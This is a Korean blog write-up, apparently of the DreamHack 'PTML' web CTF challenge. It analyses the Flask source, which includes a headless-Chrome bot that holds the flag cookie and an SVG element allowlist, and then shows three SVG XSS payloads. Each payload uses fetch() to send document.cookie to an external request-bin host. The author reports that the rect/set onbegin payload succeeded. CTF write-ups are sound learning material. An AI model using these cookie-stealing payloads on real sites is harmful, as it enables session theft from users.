본문 바로가기

Hacking/DreamHack

PTML

소스분석

흥미롭다

read_file 펑션을  파일을 읽을 때 내부적으로 쿠키에 flag 를 담아 /?file=uploads/{filename} 을 호출한다.

XSS 로 풀면 될 뜻

def read_file(filename):
    driver = None
    cookie = {"name": "flag", "value": "DH{**flag**}"}
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/usr/local/bin/chromedriver")
        options = webdriver.ChromeOptions()
        for arg in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(arg)

        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)

        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(f"http://127.0.0.1:8000/?file=uploads/{filename}")
        
        WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.TAG_NAME, "svg")))

    except Exception as e:
        driver.quit()
        return False
    driver.quit()
    return True

upload 시 xss 구문을 입력한, svg 파일을 호출하면 끝일뜻

@app.route('/')
def index():
    file = request.args.get('file', 'uploads/default.svg')
    return render_template('index.html', file=file)
    
// index.html 호출 시 xss 파일 호출하면 될 뜻 

@app.route('/uploads/<filename>')
def uploaded_file(filename):
    return send_from_directory(app.config['UPLOAD_FOLDER'], filename)

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return redirect(request.url)
    file = request.files['file']
    if file.filename == '':
        return redirect(request.url)
    if file:
        filename = secure_filename(file.filename)
        unique_id = uuid.uuid4().hex
        unique_filename = f"{unique_id}_{filename}"
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], unique_filename)
        file.save(file_path)
        read_file(unique_filename)
        return redirect(url_for('index', file=f'uploads/{unique_filename}'))
    return '', 204

 

index.html 을 보면 main.py 를 호출하여, svg 파일의 animation 을 정의하며, 

<body>
    <div id="container">
        <h1>Randomly Moving SVG Paths</h1>
        <div id="upload-section">
            <form id="upload-form" method="post" enctype="multipart/form-data" action="/upload" onsubmit="uploadAndReload(event)">
                <input type="file" id="file-input" name="file" />
                <input type="submit" value="Upload SVG" />
            </form>
            <div id="original-svg-container">
                <div id="original-svg-content"></div>
            </div>
        </div>
        <div id="svg-container"></div>
    </div>
    <py-script src="{{ url_for('static', filename='main.py') }}"></py-script>
    <script>
        async function uploadAndReload(event) {
            event.preventDefault();
            const form = document.getElementById('upload-form');
            const formData = new FormData(form);
            const response = await fetch('/upload', {
                method: 'POST',
                body: formData
            });
            if (response.ok) {
                const filename = document.getElementById('file-input').files[0].name;
                window.location.href = `/?file=uploads/${filename}`;
            } else {
                console.error('File upload failed');
            }
        }
    </script>
</body>

 

Exploit!

허용된 elements 로 XSS 구문 작성 필요

def load_svg_from_string(svg_string):
    parser = DOMParser.new()
    doc = parser.parseFromString(svg_string, "image/svg+xml")

    if doc.documentElement.tagName != "svg" or doc.documentElement.namespaceURI not in ["http://www.w3.org/2000/svg", "x"]:
        raise ValueError("Root element is not <svg> or has incorrect namespace")

    allowed_elements = [
        "svg", "path", "rect", "circle", "ellipse", "line", "polyline", "polygon",
        "text", "tspan", "textPath", "altGlyph", "altGlyphDef", "altGlyphItem",
        "glyphRef", "altGlyph", "animate", "animateColor", "animateMotion",
        "animateTransform", "mpath", "set", "desc", "title", "metadata",
        "defs", "g", "symbol", "use", "image", "switch", "style"
    ]

 

몇가지 케이스 존재

<svg xmlns="http://www.w3.org/2000/svg">
  <image xlink:href="javascript:fetch('https://lhqluqj.request.dreamhack.games?c='+document.cookie)" height="100" width="100"/>
</svg>
<svg xmlns="http://www.w3.org/2000/svg">
  <rect width="100" height="100" fill="red">
    <set attributeName="x" to="100" begin="0s"
      onbegin="fetch('https://lhqluqj.request.dreamhack.games?c='+document.cookie)"/>
  </rect>
</svg>
<svg xmlns="http://www.w3.org/2000/svg">
  <image x="0" y="0" width="200" height="200"
    xlink:href="javascript:fetch('https://lhqluqj.request.dreamhack.games?c='+document.cookie)"/>
</svg>

 

우선 내 pc 에서 되는지 확인

 

rect 태그 및 onbegin 이벤트헨들러 사용, 로컬에서 작동 여부 확인 완료

 

Flag 획득!

아래와 같이 flag 획득!

 

'Hacking > DreamHack' 카테고리의 다른 글

pharmacy  (0) 2025.05.04
Period (pwnable)  (0) 2025.04.02
Movie time table (WEB)  (0) 2025.04.01
r-xor-t  (0) 2024.09.05
[CodeEngn] Malware L08  (1) 2024.09.04